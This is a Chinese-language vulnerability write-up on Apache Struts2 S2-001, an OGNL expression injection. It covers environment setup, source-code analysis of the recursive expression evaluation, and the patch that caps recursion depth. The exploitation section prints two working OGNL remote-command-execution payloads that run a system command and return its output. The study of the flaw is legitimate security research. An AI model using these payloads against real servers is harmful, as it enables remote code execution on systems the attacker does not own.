前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建
struts2 环境的搭建参考文章,详细而且好用。
阅读 S2-001 的官方通告,安装 2.0.8 版本的 struts2 依赖:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.0.8</version>
</dependency>
配置文件和 Action 代码可以参考 Chybeta 师傅的文章。
Tomcat 可以配置远程也可以配置本地,没有版本要求的情况下还是本地比较方便一点。
漏洞利用
根据官方漏洞通告,漏洞算是一个 OGNL 表达式注入的漏洞,原因在于 struts 在渲染模板的时候会递归计算表达式,而 struts 中的 JSP 页面中的表单值跟 Action 变量是绑定的,所以在 username 变量为 %{1+1} 的情况下会在本来的 %{username} 这样的表达式中将 username 当作一个表达式来处理。
所以漏洞可以在用于页面渲染的变量可控的情况下触发,比如传一个 username,然后 struts 又把这个 username 贴回模板里的时候。
贴一个命令执行的 payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
还有:
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"deepin-calculator"})).start()}
比 spel 的反射链命令执行好看很多。
漏洞分析
不熟悉 struts 和 tomcat 的流程,按照他渲染肯定要获取 username 的想法,给 getUsername 下断点来调试,找到 UIBean.class 的 end 函数:
public boolean end(Writer writer, String body) {
this.evaluateParams();
try {
super.end(writer, body, false);
this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
} catch (Exception var7) {
LOG.error("error when rendering", var7);
} finally {
this.popComponentStack();
}
return false;
}
很明显这里就是最后返回 HTML 页面的地方,跟入处理参数的 evaluateParams 方法,看到关键代码:
Class valueClazz = this.getValueClassType();
if (valueClazz != null) {
if (this.value != null) {
this.addParameter("nameValue", this.findValue(this.value, valueClazz));
} else if (name != null) {
String expr = name;
if (this.altSyntax()) {
expr = "%{" + name + "}";
}
this.addParameter("nameValue", this.findValue(expr, valueClazz));
}
}
这里的 name 就是变量名 username,valueClazz 就是变量类型,这里将 username 拼接成 %{username} 的表达式并执行,然后用执行结果渲染模板,继续往下走,来到 translateVariables 方法:
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
这里就是漏洞公告里面提到的递归执行表达式了,是一个死循环,不停地寻找最里层的 %{} 表达式,执行之后将返回结果和前后拼接再次寻找 %{} 来执行。
漏洞修复
在 translateVariables 方法的递归中加上了最大递归层数,一般为 1:
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
Orz